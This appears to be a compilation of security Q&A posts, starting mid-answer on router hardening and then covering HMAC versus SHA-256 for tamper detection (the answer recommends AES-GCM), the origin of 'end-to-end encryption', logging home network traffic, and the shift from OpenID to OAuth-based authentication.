To your question of further hardening techniques, most small office/home routers and switches I've encountered have an option in the administrative settings to force only local management of the device, meaning you have to be plugged into the LAN to authenticate and change anything. All other login attempts from outside IPs would be bounced. Perhaps your setup has something similar.

I would also look at ways to layer your defenses. For example, configuring additional, physically separate, routers behind it to filter the traffic going to each leg of your network. Perhaps your network has some of this already, but it seems to me like most everything was coming from one box rather than being broken out. The idea is adding layers of both logical and physical complexity for an attacker to overcome before getting to anything really sensitive, giving you some time to detect and mitigate the issue.

Besides that, generate some hard passwords and rotate them out periodically.


Producing secure hashes to detect data manipulation I have an Android app that internally relies on a SQLite database that stores encrypted user data. The data is encrypted using AES-256, with a key generated by the PBKDF2-HMACSHA256 algorithm. The application has the need to detect manipulation of the data either by malicious or non-malicious methods (i.e. data corruption or someone purposely tampering with the database).

As far as I can tell I have two solid options on how to securely generate a hash to represent this data. Either, I can rely on a HMAC-SHA256 algorithm keyed with the same password used to generate the AES-256 key to generate signatures of the data in each row of the database. Alternatively, I could generate an ordinary SHA-256 hash of the decrypted data stored in memory before re-encrypting it to update the database row. So in theory, only the authenticated user with the correct key can decrypt the data and therefore only that user can generate this "signature".

Here is my question: To use HMAC-SHA256 will cause complications with exactly how to securely persist the password as the key or some way to leverage the SHA-256 key as the HMAC key. Either way, it seems un-necessarily painful and complexity is in general, bad new for secure systems. Would it be equally secure to rely on a ordinary SHA-256 hash of decrypted data as it would be to use a HMAC style hash algorithm? As in, are they equally difficult/impossible to forge a signature.

There are algorithms available that provide tamper protection. AES-GCM is one such algorithm. Per https://en.wikipedia.org/wiki/Galois/Counter_Mode

  GCM is an authenticated encryption algorithm designed to provide both data authenticity (integrity) and confidentiality.

AES-GCM is available on Android API 26+. https://developer.android.com/reference/javax/crypto/Cipher.html I recommend using an algorithm that already has authenticity checking built into it over trying to implement this sort of thing on your own.


Who defined the term "end-to-end encryption"? I am trying to find the origin of the term "end-to-end encryption", but have been unsuccessful until now.

The first reference that I found was from Paul Baran of Rand in 1964, in the manual On Distributed Communications. The link is to Chapter 9, which deals with security. Naturally, as this is from before the time of WhatsApp, Skype, Tor, etc., it does not deal with many of the threat models or use cases for E2E encryption that we see now.

This manual is further cited by Saltzer, Diffie-Hellman...


Tracking Home Network Traffic I would like to setup a monitor of some kind on my laptop to track/log websites that have been visited on my home network. I have a Netgear AC1450 router that is only accessed by wifi, nobody connects by ethernet. I would like to know what sites are visited, not who is using the network. I know there are a few obstacles to overcome such as browsing incognito, SSL (etc), and being able to actually interpret the data received.

I tried openDNS and found that it was not providing me with useful information, so I shut it down. The few domains that openDNS produced didn't lead me to any websites and it was hardly gathering any domain requests.

I know there are a lot of forums out there discussing this topic, quite a bit of it is several years old. Is it possible to simply use Wireshark, or a close relative, to monitor all the devices with incoming/outgoing wifi network traffic and produce some useful data? Is there something I can do log traffic within my network, instead of using an outside service like openDNS?

The Netgear AC1450 router is capable of logging exactly the information you want. This has nothing to do with SSL/TLS, browser incognito modes, etc. Just have a look at the manual, p. 80.


Why was pseudo-authentication using OAuth more successful than actual authentication using OpenID? A few years ago, OpenID was nearly everywhere, with support from what are currently the major OAuth providers -- Google, Facebook, and even Yahoo all provided OpenID authentication.

Since then though, pseudo-authentication using OAuth has become ubiquitous.

What made OpenID fail where OAuth succeeded? Was it just the inherent integration with an authorization framework alongside the pseudo-authentication framework?

Most of the major OpenID providers decided to switch to OpenID Connect which is an OAuth based authentication system.  One of their motives  to do this ,rather than supporting both, may have been that the identity that is authenticated in OpenID Connect is, as far as I know, tied to the provider while original OpenID supported a fairly simple mechanism by which the owner of an ID could switch  providers.  If you want to control your own id with OpenID Connect you need to run your own provider.

Once the major OpenID providers switched to OpenID Connect the only game in town was Oauth based authentication.